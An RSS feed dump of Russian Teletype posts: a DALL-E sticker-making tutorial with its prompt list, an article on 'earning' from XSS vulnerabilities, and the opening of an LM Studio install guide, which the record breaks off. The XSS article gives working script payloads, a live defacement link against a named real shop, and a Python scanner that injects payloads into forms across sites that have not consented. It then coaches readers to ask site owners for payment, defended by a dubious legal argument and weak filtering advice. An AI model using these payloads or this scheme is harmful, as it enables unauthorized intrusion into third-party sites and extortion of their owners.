  <h4 id="Основная-часть">Основная часть</h4>
  <p id="D5Hq">Начнем с подготовки запроса для персонажа. На этом этапе нам не нужны позы и эмоции, нам нужно зажать генерацию в рамки и каждый раз получать плюс минус одинаковый результат.</p>
  <p id="j1pz"><em>Наш персонаж — это человекоподобный круг, основанный на моём аватаре.</em></p>
  <figure id="eYkj" class="m_column">
    <img src="https://img3.teletype.in/files/e6/9e/e69e45d5-b14b-4b43-a344-412e2b14d98e.png" width="660" />
    <figcaption>logo и старый стикерпак</figcaption>
  </figure>
  <p id="pbGE">Было бы куда проще если персонаж изначально был животным, человеком или предметом, а не антропоморфный круг.</p>
  <p id="EXKs">Для данного персонажа был подобран следующий запрос.</p>
  <blockquote id="4F2h">Запрос для Dalle-3 HD</blockquote>
  <blockquote id="oiPh">Стилизованный, антропоморфный персонаж, крутой персонаж, состоящий из белого круга с жирной черной обводкой. У него есть черные руки и ноги, носит солнцезащитные очки и красные кеды.</blockquote>
  <p id="tObU">Dalle плохо понимает концепцию круга в круге и пытается нарисовать мишень, было решено использовать круг как основу.</p>
  <figure id="byXc" class="m_column">
    <img src="https://img1.teletype.in/files/c9/d9/c9d99989-4cbf-4b52-a5dc-ef7aa5514a67.png" width="4096" />
    <figcaption>пример генераций</figcaption>
  </figure>
  <p id="Cw7A">Отлично, мы зажали Dalle в рамки и теперь она выдает одинаковый результат.</p>
  <p id="PDBe">Теперь нам нужно придумать позы и эмоции для персонажа:</p>
  <blockquote id="CWVP">Запрос для ChatGPT</blockquote>
  <blockquote id="uC7y">Нам нужно создать 12 стикеров для телеграмм с нашим персонажем, придумай 12 поз и эмоций который могут быть использованы в стикер паке.</blockquote>
  <p id="KTxR">В дальнейшем можем опираться на полученный список.</p>
  <p id="XdFT"><strong>1. Радость</strong><em> - персонаж с широкой улыбкой, обнимает самого себя, глаза сияют.</em></p>
  <p id="qwWc"><em>2. </em><strong>Смех </strong><em>- персонаж с открытым ртом, наклонен головой назад, видны зубы, руки держат живот.</em></p>
  <p id="q4MC"><em>3. </em><strong>Сюрприз </strong><em>- персонаж с широко открытыми глазами и ртом, руки у щек.</em></p>
  <p id="Oocu"><em>4. </em><strong>Сердитость </strong><em>- недовольный персонаж с нахмуренными бровями и сжатыми губами, руки скрещены на груди.</em></p>
  <p id="SvBG"><em>5. </em><strong>Плач/грусть</strong><em> - персонаж с грустным лицом, слёзы на глазах, рука у wiping away a tear.</em></p>
  <p id="P9NG"><em>6. </em><strong>Влюблённость </strong><em>- персонаж с сердечками в глазах, руки на сердце и слегка покрасневшие щеки.</em></p>
  <p id="RmQo"><em>7. </em><strong>Испуг</strong><em> - персонаж с пристальным, испуганным взглядом, руки у лица, как будто пытается защитить себя.</em></p>
  <p id="WYVO"><em>8. </em><strong>Задумчивость </strong><em>- персонаж с руки под подбородком, глаза смотрят вверх или в сторону.</em></p>
  <p id="fiY2"><em>9. </em><strong>Усталость/сонливость</strong><em> - персонаж с полузакрытыми глазами, зевает, руки растянуты вверх или висят без сил.</em></p>
  <p id="1UuK"><em>10. </em><strong>Празднование </strong><em>- весёлый персонаж с поднятыми вверх руками, могут быть конфетти или взлетающий шарик.</em></p>
  <p id="ljLS"><em>11. </em><strong>Клоун </strong><em>- персонаж с клоунской рожицей, показывает длинный язык и моргает одним глазом.</em></p>
  <p id="HBJK"><em>12. </em><strong>Спокойствие/релакс</strong><em> - персонаж с закрытыми глазами и мирным выражением лица, руки за головой или в позе лотоса.</em></p>
  <p id="iKmQ">Остается самое простое - генерация картинок для будущего пака.</p>
  <p id="tFyw">Правим запрос с учетом позы персонажа и добавляем информацию, что это стикер на черном фоне.</p>
  <blockquote id="o6lk">Обновленный запрос для Dalle-3 HD</blockquote>
  <blockquote id="SufV">стилизованный, антропоморфный персонаж, крутой персонаж, состоящий из белого круга с жирной черной обводкой. У него есть черные руки и ноги, носит солнцезащитные очки и красные кеды.<br /><br />Персонаж показывает лайк.<br /><br />Фон абсолютно черный, вокруг персонажа есть не большая белая обводка, это стикер для Телеграм</blockquote>
  <figure id="tuTk" class="m_column">
    <img src="https://img3.teletype.in/files/e1/b5/e1b53a41-3e74-4fc8-a9df-40d7cdc58de3.png" width="4096" />
    <figcaption>пример генерации с обновленным запросом и использованием поз и эмоций</figcaption>
  </figure>
  <p id="an5H"><a href="https://teletype.in/@slivmens/Z-j6Hlz8yf6" target="_blank">Полный список всех запросов</a></p>
  <p id="n75D">В среднем на 1 стикер уходит от 1 до 5 генераций, все зависит от ваших идей!</p>
  <blockquote id="2lY5">В моем случае еще требовалась пост обработка в виде красных кругов.</blockquote>
  <p id="nGJz">Сжимаем изображение до разрешения <strong>512</strong>х<strong>512 px. </strong>и вырезаем черный фон используя любой графический редактор нп. <a href="https://www.adobe.com/ru/products/photoshop.html" target="_blank">PS</a>/<a href="https://getpaint.net/" target="_blank">PaintNET</a></p>
  <p id="zZU9">(<em>можно использовать бесплатные сервисы</em>)</p>
  <p id="ebIb"><a href="https://www.adobe.com/express/feature/image/resize/png" target="_blank">Adobe Express - PNG Resize</a> и <a href="https://www.adobe.com/express/feature/image/remove-background" target="_blank">Adobe Express - background remover</a></p>
  <p id="9aC6">Открываем <a href="https://t.me/Stickers" target="_blank">@Stickers</a>, нажимаем /newpack и следуя инструкциям, загружаем свои стикеры.</p>
  <p id="zbhu">По итогу получаем отличный результат:</p>
  <figure id="6MrJ" class="m_original">
    <img src="https://img1.teletype.in/files/4e/d9/4ed9e5c4-0aa3-42c4-a432-341183f6e01d.png" width="629" />
  </figure>
  <p id="2o6e">Надеюсь, данная статья поможет создать вам свой стикер пак или заработать на их создании)</p>
  <p id="IsYY">Ссылка на канал - https://t.me/slivmens</p>
  <p id="iwR9">Наш чат - https://t.me/slivmenss_chat</p>
  <p id="6wqx">Слив курсов - <a href="https://t.me/slivmens_sklad" target="_blank">https://t.me/slivmens_sklad</a></p>

]]></content:encoded></item><item><guid isPermaLink="true">https://teletype.in/@slivmens/Z-j6Hlz8yf6</guid><link>https://teletype.in/@slivmens/Z-j6Hlz8yf6?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=slivmens</link><comments>https://teletype.in/@slivmens/Z-j6Hlz8yf6?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=slivmens#comments</comments><dc:creator>slivmens</dc:creator><title>Полный список всех запросов</title><pubDate>Mon, 26 Feb 2024 06:49:56 GMT</pubDate><media:content medium="image" url="https://img1.teletype.in/files/04/77/04770fac-817f-4c70-9596-982b59f5a9d0.png"></media:content><description><![CDATA[<img src="https://telegra.ph/file/4f25d84c483b7f6bfb276.png"></img>стилизованный, антропоморфный персонаж, персонаж является крутым, состоящий из белого круга с жирной черной обводкой У него есть черные руки и ноги, носит солнцезащитные очки и красные кеды]]></description><content:encoded><![CDATA[
  <figure id="4Joc" class="m_retina">
    <img src="https://telegra.ph/file/4f25d84c483b7f6bfb276.png" width="512" />
  </figure>
  <p id="WpfF">стилизованный, антропоморфный персонаж, персонаж является крутым, состоящий из белого круга с жирной черной обводкой У него есть черные руки и ноги, носит солнцезащитные очки и красные кеды</p>
  <p id="ZAyE">Персонаж держит график криптовалюты который устремляется ввысь</p>
  <p id="lrzU">фон абсолютно черный, вокруг персонажа есть не большая белая обводка, это стикер для теоеграм</p>
  <figure id="6Ujn" class="m_retina">
    <img src="https://telegra.ph/file/004fbd375648795ef473a.png" width="512" />
  </figure>
  <p id="J0hO">стилизованный, антропоморфный персонаж, персонаж является крутым, состоящий из белого круга с жирной черной обводкой У него есть черные руки и ноги, носит солнцезащитные очки и красные кеды, на голове кепка макдональдса</p>
  <p id="4iVI">Персонаж держит красный график криптовалюты, график падает, падение криптовалюты, грустно</p>
  <p id="TDfL">фон абсолютно черный, вокруг персонажа есть не большая белая обводка, это стикер для телеграм</p>
  <figure id="k9dS" class="m_retina">
    <img src="https://telegra.ph/file/753d7e5a2bf675b20925e.png" width="512" />
  </figure>
  <p id="GTwG">стилизованный, антропоморфный персонаж, персонаж является крутым, состоящий из белого круга с жирной черной обводкой У него есть черные руки и ноги, носит солнцезащитные очки и красные кеды<br /><br />Персонаж показывает лайк<br /><br />фон абсолютно черный, вокруг персонажа есть не большая белая обводка, это стикер для телеграм</p>
  <figure id="zlOy" class="m_retina">
    <img src="https://telegra.ph/file/5a42b986ab608b91968d9.png" width="512" />
  </figure>
  <p id="wCiY">стилизованный, антропоморфный персонаж, персонаж является крутым, состоящий из белого круга с жирной черной обводкой У него есть черные руки и ноги, носит солнцезащитные очки и красные кеды<br /><br />Персонаж с ноутбуком<br /><br />фон абсолютно черный, вокруг персонажа есть не большая белая обводка, это стикер для телеграм</p>
  <figure id="OjeK" class="m_retina">
    <img src="https://telegra.ph/file/6f11fd430765393d24841.png" width="512" />
  </figure>
  <p id="WhEa">стилизованный, антропоморфный персонаж, персонаж является крутым, состоящий из белого круга с жирной черной обводкой У него есть черные руки и ноги<br /><br />Персонаж спит под одеялком<br /><br />фон абсолютно черный, вокруг персонажа есть не большая белая обводка, это стикер для телеграм</p>
  <figure id="FPyl" class="m_retina">
    <img src="https://telegra.ph/file/5ab402d2378a806939c59.png" width="512" />
  </figure>
  <p id="uzee">стилизованный, антропоморфный персонаж, персонаж является крутым, состоящий из белого круга с жирной черной обводкой У него есть черные руки и ноги, носит солнцезащитные очки и красные кеды, на голове военна каска<br /><br />Персонаж сложил руки в зловещую позу, на заднем фоне взрывы и ракеты<br /><br />фон абсолютно черный, вокруг персонажа есть не большая белая обводка, это стикер для телеграм</p>
  <figure id="YQMq" class="m_retina">
    <img src="https://telegra.ph/file/0186388dafebc7513ae5f.png" width="512" />
  </figure>
  <p id="6IWt">стилизованный, антропоморфный персонаж, персонаж является крутым, состоящий из белого круга с жирной черной обводкой У него есть черные руки и ноги, носит солнцезащитные очки и красные кеды<br /><br />Персонаж с веревкой на шее повис на елке и делает вид что умер<br /><br />фон абсолютно черный, вокруг персонажа есть не большая белая обводка, это стикер для телеграм</p>
  <figure id="Z6O3" class="m_retina">
    <img src="https://telegra.ph/file/fb5ed4aef87a1205f5199.png" width="512" />
  </figure>
  <p id="YMox">стилизованный, антропоморфный персонаж, персонаж является крутым, состоящий из белого круга с жирной черной обводкой У него есть черные руки и ноги, носит солнцезащитные очки и красные кеды<br /><br />Персонаж притворился мертвым, лежит на полу,очки разбиты, глаза крестики, надпись над персонажем Потрачено<br /><br />фон абсолютно черный, вокруг персонажа есть не большая белая обводка, это стикер для телеграм</p>
  <figure id="SRkb" class="m_retina">
    <img src="https://telegra.ph/file/0e32a21c8a0d648dd7540.png" width="512" />
  </figure>
  <p id="lvD2">стилизованный, антропоморфный персонаж, персонаж является крутым, состоящий из белого круга с жирной черной обводкой У него есть черные руки и ноги<br /><br />Персонаж полностью укутался в плед и смотрит с удивлением в даль, видно только лицо<br /><br />фон абсолютно черный, вокруг персонажа есть не большая белая обводка, это стикер для телеграм</p>
  <figure id="WvS6" class="m_retina">
    <img src="https://telegra.ph/file/2ab6c71dcad4c09b409f6.png" width="512" />
  </figure>
  <p id="iXqZ">стилизованный, антропоморфный персонаж, персонаж является крутым, состоящий из белого круга с жирной черной обводкой У него есть черные руки и ноги, носит солнцезащитные очки и красные кеды<br /><br />Персонаж разбивает ногой сообщение с спектрограммой и синей кнопкой плей<br /><br />фон абсолютно черный, вокруг персонажа есть не большая белая обводка, это стикер для телеграм</p>
  <figure id="noLX" class="m_retina">
    <img src="https://telegra.ph/file/ecae8e410f8272cceddd6.png" width="512" />
  </figure>
  <p id="UNs7">стилизованный, антропоморфный персонаж, персонаж является крутым, состоящий из белого круга с жирной черной обводкой У него есть черные руки и ноги, носит солнцезащитные очки и красные кеды<br /><br />Персонаж разбивает ногой сообщение с спектрограммой и синей кнопкой плей<br /><br />фон абсолютно черный, вокруг персонажа есть не большая белая обводка, это стикер для телеграм</p>

]]></content:encoded></item><item><guid isPermaLink="true">https://teletype.in/@slivmens/MCIJYB3yzP3</guid><link>https://teletype.in/@slivmens/MCIJYB3yzP3?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=slivmens</link><comments>https://teletype.in/@slivmens/MCIJYB3yzP3?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=slivmens#comments</comments><dc:creator>slivmens</dc:creator><title>Зарабатываем на XSS уязвимости</title><pubDate>Sat, 17 Feb 2024 20:45:53 GMT</pubDate><media:content medium="image" url="https://img3.teletype.in/files/26/e1/26e13989-98e6-45de-b923-235d7145556c.png"></media:content><description><![CDATA[<img src="https://img1.teletype.in/files/08/68/0868089c-9b9f-402f-a519-3aa7fad6538a.png"></img>И так, зарабатывать мы с вами будем на поиске XSS уязвимости на сайтах.]]></description><content:encoded><![CDATA[
  <p id="zdef">И так, зарабатывать мы с вами будем на поиске XSS уязвимости на сайтах.</p>
  <p id="q9yc">Алгоритм работы:</p>
  <p id="hTQF">1. Ищем сайт с XSS уязвимостью</p>
  <p id="A7WK">2. Связываемся с поддержкой сайта</p>
  <p id="6f6p">3. Просим у них деньги за обнаружение уязвимости</p>
  <p id="yoQD">Для начала вам необходимо ознакомиться с тем, что такое XSS уязвимость​</p>
  <p id="8My0">XSS (Cross-Site Scripting) - уязвимость позволяющая вам выполнять свой JS (JavaScript) код на чужом сайте, за счёт чего вы можете взламывать его пользователей, красть их данные, подменять код сайта и многое другое))</p>
  <p id="Xs7N">Для проверки сайта на наличие XSS уязвимости достаточно вставить в поисковую строку следующий JS код.</p>
  <p id="kLvC">⁡<code>⁡&lt;script&gt;alert(&quot;XSS&quot;)&lt;/script&gt;</code>⁡</p>
  <p id="SfK7">Для примера возьмём сайт <a href="https://stolplit.ru/" target="_blank">stolplit.ru</a>:</p>
  <figure id="B4bl" class="m_column">
    <img src="https://img1.teletype.in/files/08/68/0868089c-9b9f-402f-a519-3aa7fad6538a.png" width="1365" />
  </figure>
  <figure id="uwJN" class="m_column">
    <img src="https://img2.teletype.in/files/dc/42/dc42c492-9d67-4d4e-ab04-8e5332da6999.png" width="1365" />
  </figure>
  <p id="6UiV">Т.е если на сайте появляется уведомление с надписью «XSS», то на нём есть уязвимость.</p>
  <p id="3PTf">Самый простой способ эксплуатации XSS уязвимости - подмена кода сайта. Для неё достаточно просто вставить следующий JS код в поисковую строку</p>
  <p id="CcH5">⁡<code>⁡&lt;script&gt;document.body.innerHTML = &quot;&lt;H1 style=&#x27;color: black; text-align: center;&#x27;&gt;C 01.05.2024 сайт перестаёт работать&lt;/H1&gt;&quot;;&lt;/script&gt;</code>⁡</p>
  <figure id="51ki" class="m_column">
    <img src="https://img4.teletype.in/files/71/1a/711a7b4a-5080-4702-bb18-5700f69b5038.png" width="1365" />
  </figure>
  <p id="o8BC">Опасность тут в том, что любой кто перейдёт по этой ссылке на сайт, увидит именно наш html код, а не html код сайта. Можете перейти по ссылке ниже и убедиться в этом:</p>
  <ul id="Kzim">
    <li id="nAVh"><a href="https://www.stolplit.ru/internet-magazin/search/?is_submit=Y&product_title=%E2%81%A1%E2%81%A1%3Cscript%3Edocument.body.innerHTML+%253D+%22%3CH1+style%253D&#x27;color%253A+black%253B+text-align%253A+center%253B&#x27;%3EC+01.05.2024+%D1%81%D0%B0%D0%B9%D1%82+%D0%BF%D0%B5%D1%80%D0%B5%D1%81%D1%82%D0%B0%D1%91%D1%82+%D1%80%D0%B0%D0%B1%D0%BE%D1%82%D0%B0%D1%82%D1%8C%3C%252FH1%3E%22%253B%3C%252Fscript%3E%E2%81%A1" target="_blank">https://www.stolplit.ru/internet-magazin/search/?is_submit=Y&amp;product_title=⁡⁡&lt;script&gt;document.body.innerHTML+=+&quot;&lt;H1+style=&#x27;color:+black;+text-align:+center;&#x27;&gt;C+01.05.2024+сайт+перестаёт+работать&lt;/H1&gt;&quot;;&lt;/script&gt;⁡</a></li>
  </ul>
  <p id="7VCx"><strong>Поиск сайтов с уязвимостью</strong></p>
  <p id="SjPG">Сайты с XSS уязвимостью можно искать и вручную, но, тогда большая часть нашего времени будет уходить впустую. Я написал python скрипт для массовой проверки сайтов на наличие XSS уязвимости.</p>
  <p id="9LL3">​1. Загружаем установочный файл Python3 с официального сайта.</p>
  <blockquote id="1pqc"><a href="https://www.python.org/downloads/release/python-3115/" target="_blank">https://www.python.org/downloads/release/python-3115/</a></blockquote>
  <p id="Nhj2">2. Запускаем установочный файл и следуем иснтрукциям по установке.</p>
  <blockquote id="I5Kc">при установке необходимо выбрать опцию &quot;Add Python 3.x to PATH&quot;.</blockquote>
  <p id="UgOC">3. После установки Python3, открываем командную строку (cmd), и вводим следующие команды</p>
  <p id="jNgL">⁡<code>⁡pip install bs4</code>⁡</p>
  <p id="kJMD">⁡<code>⁡⁡⁡pip install requests</code>⁡</p>
  <p id="dlO4">⁡<code>⁡pip install colorama</code>⁡</p>
  <p id="eD7w">4. Создаем папку, например WORK. В этой папке создаём 2 файла - main.py и site.txt</p>
  <p id="LzMG">5. В файл main.py необходимо вставить код предоставленный ниже​</p>
  <p id="k5mX">Код Python:</p>
  <pre id="k3Fj">from colorama import init, Fore, Back, Style
from bs4 import BeautifulSoup as bs
import requests

from urllib.parse import urljoin
from pprint import pprint
import time


headers = {
    &quot;User-Agent&quot;: &quot;Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.106 Safari/537.36&quot;
}

init(autoreset=True)


def stop(stop_time):
    now_time = time.time()
    if stop_time - now_time &lt;= 0:
        return True

def save(url):
    file = open(&quot;goods.txt&quot;, &quot;a&quot;)
    file.write(f&quot;{url}\n&quot;)
    file.close()

def scan_xss(url, stop_time, timeout):
    stop_time = time.time() + stop_time

    html = requests.get(url, headers=headers, timeout=timeout)
    soup = bs(html.content, &quot;html.parser&quot;)
    forms = soup.find_all(&quot;form&quot;)
    js_script = &quot;&lt;Script&gt;alert(&#x27;XSS&#x27;)&lt;/scripT&gt;&quot;
    is_vulnerable = False
 
    for form in forms:
        if stop(stop_time):
            break
        details = {}

        action = form.attrs.get(&quot;action&quot;)
        method = form.attrs.get(&quot;method&quot;, &quot;get&quot;)
 
        if action != None and not(action.startswith(&quot;javascript&quot;)):
            action = action.lower()
            method = method.lower()
        else:
            break

        inputs = []
        for input_tag in form.find_all(&quot;input&quot;):
            input_type = input_tag.attrs.get(&quot;type&quot;, &quot;text&quot;)
            input_name = input_tag.attrs.get(&quot;name&quot;)
            inputs.append({&quot;type&quot;: input_type, &quot;name&quot;: input_name})
        details[&quot;action&quot;] = action
        details[&quot;method&quot;] = method
        details[&quot;inputs&quot;] = inputs
        form_details =  details
        target_url = urljoin(url, form_details[&quot;action&quot;])
        inputs = form_details[&quot;inputs&quot;]
        data = {}

        for input in inputs:
            if input[&quot;type&quot;] == &quot;text&quot; or input[&quot;type&quot;] == &quot;search&quot;:
                input[&quot;value&quot;] = js_script
            input_name = input.get(&quot;name&quot;)
            input_value = input.get(&quot;value&quot;)
            if input_name and input_value:
                data[input_name] = input_value

        if form_details[&quot;method&quot;] == &quot;post&quot;:
            content = requests.post(target_url, data=data, headers=headers, timeout=timeout).content.decode(&#x27;latin-1&#x27;)
        else:
            content = requests.get(target_url, params=data, headers=headers, timeout=timeout).content.decode(&#x27;latin-1&#x27;)

        if js_script in content:
            save(url)
            print(f&quot;{Fore.RED}[+] XSS Detected on {url}{Style.RESET_ALL}\n[*] Form details:&quot;)
            pprint(form_details)


if __name__ == &quot;__main__&quot;:
    urls = open(&#x27;site.txt&#x27;, &#x27;r&#x27;, encoding=&quot;UTF-8&quot;)
    for element in urls:
        url = element.replace(&quot;\n&quot;, &quot;&quot;)
        print(f&quot;\033[37m{url}&quot;)
        # Максимальное время проверки одного сайта в секундах (не менее 180)
        stop_time = 180
        # Максимальное время ожидания ответа от сайта в секундах (не менее 15)
        timeout = 20
        try:
            scan_xss(url, 180, 20)
        except:
            pass # ваще похуй

    urls.close()
</pre>
  <p id="re6P">Для того, что бы скрипт начал искать уязвимость на сайтах необходимо вставить список сайтов в файл site.txt, открыть в CMD папку WORK и ввести следующую команду:</p>
  <p id="jW3G"><code>⁡python main.py</code>⁡</p>
  <p id="H04N">После запуска скрипт начнёт проверять сайты из файла на наличие XSS уязвимости, если он обнаружит сайт с уязвимостью, то выведет красным цветом его url и белым дополнительную информацию (где конкретно он нашёл уязвимость), а так же запишет url сайта в файл goods.txt.</p>
  <figure id="cUq7" class="m_column">
    <img src="https://img4.teletype.in/files/fa/1c/fa1c26ea-d209-49c9-815f-350bd54c3750.png" width="819" />
  </figure>
  <p id="3mzX"><strong>Важное уточнение:</strong> возможны ложные срабатывания скрипта (может вывести сайт без уязвимости), поэтому всегда перепроверяйте сайт вручную.</p>
  <h4 id="Откуда-брать-сайты?">Откуда брать сайты?</h4>
  <p id="P4NH">Самое сложное в этом способе заработка - достать список сайтов. Я расскажу вам о способе которым сам пользовался:</p>
  <p id="VkHw">Заходим на любой сайт для выгрузки топ 100 сайтов из яндекса или гугла, например <a href="https://pr-cy.ru/tools/check-keywords/" target="_blank">https://pr-cy.ru/tools/check-keywords/</a></p>
  <p id="NjiR">Вводим произвольный поисковой запрос, например «Купить мебель с доставкой спб», указываем глубину поиска - топ 100, выбираем любой регион и жмём на кнопку «Проверить»</p>
  <figure id="OJkk" class="m_column">
    <img src="https://img3.teletype.in/files/a6/92/a692d531-eff2-4b06-9ff7-7c4a2972385a.png" width="1365" />
  </figure>
  <figure id="ibzc" class="m_column">
    <img src="https://img3.teletype.in/files/22/7f/227f5df9-9b9c-4c86-8664-dba3a61b3544.png" width="1365" />
  </figure>
  <p id="93kP">После недолгого ожидания мы получаем 100 ссылок, их нужно скопировать и вставить в файл site.txt.</p>
  <figure id="clmi" class="m_column">
    <img src="https://img1.teletype.in/files/42/50/4250cf3b-88fa-44c2-a1eb-588aa024e5fe.png" width="1365" />
  </figure>
  <p id="Htk2"><strong>Cвязываемся с поддержкой</strong></p>
  <p id="LHUH">После того как скриптом был найден сайт с уязвимостью, первым делом вы перепроверяете наличие уязвимости на сайте. Если она и в правду есть, то вы ищите почту поддержки сайта и пишите на неё о том, что нашли на сайте опасную уязвимость.</p>
  <p id="78rr">Всё общение с поддержкой сайта сводится к отправке текста по шаблону, ниже привёл пример успешного диалога с поддержкой сайта.</p>
  <figure id="irNd" class="m_column">
    <img src="https://img4.teletype.in/files/fe/a2/fea29f31-9ea1-4367-b933-b7c692438141.png" width="857" />
  </figure>
  <figure id="SZOp" class="m_column">
    <img src="https://img1.teletype.in/files/8f/de/8fde8a56-dcd8-40a1-bb8c-ddc8f1d47622.png" width="857" />
  </figure>
  <figure id="xPhX" class="m_column">
    <img src="https://img2.teletype.in/files/96/db/96dbdfcc-92bb-493c-ae49-fb9b7d716b6b.png" width="857" />
  </figure>
  <figure id="Hwuy" class="m_column">
    <img src="https://img4.teletype.in/files/3d/d9/3dd9e9e4-2273-43dd-8ecf-f1b3b7f804b4.png" width="857" />
  </figure>
  <figure id="0a79" class="m_column">
    <img src="https://img1.teletype.in/files/c9/ec/c9ec9532-5f40-439f-bc8b-cf14e20fcd19.png" width="857" />
  </figure>
  <figure id="hlcm" class="m_column">
    <img src="https://img3.teletype.in/files/24/b7/24b77450-84e8-40b7-82bd-36468d329e16.png" width="857" />
  </figure>
  <figure id="Dn4T" class="m_column">
    <img src="https://img1.teletype.in/files/c0/2d/c02d56f9-4ccb-4573-b301-628410d956c1.png" width="857" />
  </figure>
  <figure id="zHhS" class="m_column">
    <img src="https://img1.teletype.in/files/ca/45/ca457c2d-bcb6-4069-b22d-ef6757f676af.png" width="857" />
  </figure>
  <p id="ZPh7"><strong>FAQ</strong></p>
  <p id="cpMf"><strong>Нарушает ли эта тема закон? (272 статью УК. РФ)</strong></p>
  <blockquote id="kKi0">Ответ от юриста: «Как гласит Статья 272 УК РФ, Неправомерный доступ к охраняемой законом компьютерной информации, если это деяние повлекло уничтожение, блокирование, модификацию либо копирование компьютерной информации. В нашем случае доступ к какой-либо информации не осуществляется, мы показываем лишь способ. XSS уязвимость позволяет выполнять код на стороне клиента, то есть публичной подмены кода сайта не осуществляется. XSS это не взлом и мы не сразу получаем доступ к информации как например sql, XSS это способ. Кроме того, исходя из субъективной стороны данного преступления, как таковой корысти в данном случае мы не имеем, это этичный хакинг (Хотя его даже хакингом назвать нельзя). Субъективная сторона предусматривает цель, мотив. Цели взлома сайта, его пользователей у нас нет. Мотив понятие большое, и то что мы лишь после того как отправили сообщение об обнаруженной уязвимости просим деньги, не говорит о том что мы хотели этого с самого начала, мы хотим получить благодарность за свою работу. Соответственно, заявить на нас что мы с корыстной взломали их сайт и требуем выкуп никто не сможет.»</blockquote>
  <p id="s5xE"><strong> Как устранять уязвимость?</strong></p>
  <blockquote id="fmY0">Для устранения уязвимости достаточно фильтровать текст вводимый пользователем, например убирать из его запроса следующие символы: &lt;, &gt;, /, (, ). Если вы не имеете значительного опыта в веб разработке, то не беритесь за устранение уязвимости, есть риск только ухудшить ситуацию.</blockquote>
  <p id="59Nl"><strong> Что писать в тех. поддержку?</strong></p>
  <blockquote id="NTfc">Здравствуйте, я нашёл достаточно опасную уязвимость на вашем сайте (домен сайта), продемонстрировать?</blockquote>
  <blockquote id="y9wh">У вас на сайте XSS уязвимость, т.е сайт выполняет любой мой JS код на стороне пользователя. Это может привести к подмене кода сайта, краже данных пользователей, их аккаунтов или созданию фейковых уведомлений. Для устранения достаточно просто фильтровать данные вводимые пользователем, например убирать &lt;, &gt;, /, (, ) из запроса.<br />Вот один из самых простых примеров эксплуатации данной уязвимости - подмена HTML кода сайта (и стилей CSS)<br />формируем JS код<br />&lt;script&gt;document.body.innerHTML = &quot;&lt;H1 style=&#x27;color: black; text-align: center;&#x27;&gt;&lt;br&gt;C 01.05.2024 сайт перестаёт работать&lt;/H1&gt;&quot;;&lt;/script&gt;<br />вставляем его в поисковую строку на вашем сайте, выполняем запрос и получаем результат<br />(Фото с выполнением JS кода на сайте)<br />Опасность тут в том, что любой кто перейдёт по ссылке увидит именно мой html код, а не html код сайта (можете перейти и убедиться)<br />(Ссылка на их сайт с выполняющимся JS кодом)</blockquote>
  <p id="jnRC">Дальше отвечайте в зависимости от развития диалога.</p>
  <p id="Z2fj"><strong> Спрашивают сколько перевести, какую сумму называть?</strong></p>
  <p id="ltwd">Я всегда называл 3-5к и получал эту сумму, наглеть и просить больше тут явно не стоит.</p>

]]></content:encoded></item><item><guid isPermaLink="true">https://teletype.in/@slivmens/BskouN_qqXu</guid><link>https://teletype.in/@slivmens/BskouN_qqXu?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=slivmens</link><comments>https://teletype.in/@slivmens/BskouN_qqXu?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=slivmens#comments</comments><dc:creator>slivmens</dc:creator><title>Создаем собственного локального ИИ чат-бота с помощью lmstudio.ai</title><pubDate>Wed, 31 Jan 2024 15:48:41 GMT</pubDate><media:content medium="image" url="https://img2.teletype.in/files/5d/64/5d64528b-bc9e-4343-9bdf-97375f749e56.png"></media:content><description><![CDATA[<img src="https://img2.teletype.in/files/d0/df/d0df0929-fe2b-4413-927b-9d5cc48c3f70.png"></img>Для начала необходимо понять, поддерживает ли наш процессор AVX2. Для этого открываем панель управления, наконец-то узнаем, какой у нас стоит проц и гуглим, поддерживает ли он AVX2.]]></description><content:encoded><![CDATA[
  <h4 id="Минимальные-системные-требования">Минимальные системные требования</h4>
  <ul id="0L3C">
    <li id="dJyR">Процессор поддерживающий AVX или AVX2</li>
    <li id="BPzp">От 8 ГБ оперативной памяти (рекомендуется 16 ГБ)</li>
    <li id="Vmkm">Пару десятков ГБ памяти на жестком диске</li>
    <li id="K7RP">Не обязательно, но так же рекомендуется иметь хоть какую-то видеокарту</li>
  </ul>
  <h4 id="Инструкция">Инструкция</h4>
  <p id="5WCw">Для начала необходимо понять, поддерживает ли наш процессор AVX2. Для этого открываем панель управления, наконец-то узнаем, какой у нас стоит проц и гуглим, поддерживает ли он AVX2.</p>
  <p id="18SU"><strong>Для процессоров которые поддерживают AVX2</strong></p>
  <p id="H9Wf">Переходим на сайт <a href="http://lmstudio.ai/" target="_blank">lmstudio.ai</a></p>
  <figure id="lFWb" class="m_column">
    <img src="https://img2.teletype.in/files/d0/df/d0df0929-fe2b-4413-927b-9d5cc48c3f70.png" width="1901" />
  </figure>
  <p id="VKlX">Ищем свою ОС и скачиваем установщик для нее. Далее запускаем инсталлер, после чего программа сама установится на Диск C.</p>
  <p id="svnx"><strong>Для процессоров которые поддерживают только AVX</strong></p>
  <p id="wLzT">Переходим на сайт <a href="http://lmstudio.ai/" target="_blank">lmstudio.ai</a> и нажимаем на текст LM studio Beta Releases.</p>
  <figure id="znLY" class="m_column">
    <img src="https://img4.teletype.in/files/74/f6/74f63e53-dfc2-4326-997a-b8e5b300749b.png" width="1875" />
  </figure>
  <p id="OBdp">Видим такую картину, как на скриншоте ниже и листаем в самый низ.</p>
  <figure id="pCDp" class="m_column">
    <img src="https://img2.teletype.in/files/56/76/5676dbd5-9477-40aa-8966-d87d7ac4e918.png" width="1920" />
  </figure>
  <p id="avPe">Нажимаем на LM-Studio-0.2.10-Setup-avx-beta-4.exe и скачиваем установщик.</p>
  <figure id="eBHM" class="m_column">
    <img src="https://img4.teletype.in/files/f1/3b/f13b5f27-dbf9-4801-bc42-731c55fe902c.png" width="522" />
  </figure>
  <p id="dkxd">Запускаем инсталлер, после чего программа сама установится на Диск C.</p>
  <h4 id="Скачиваем-модель-чат-бота">Скачиваем модель чат-бота</h4>
  <p id="c6lg">Запускаем программу. Смотрим налево и ищем кнопочку с лупой и нажимаем на нее.</p>
  <figure id="W2ae" class="m_original">
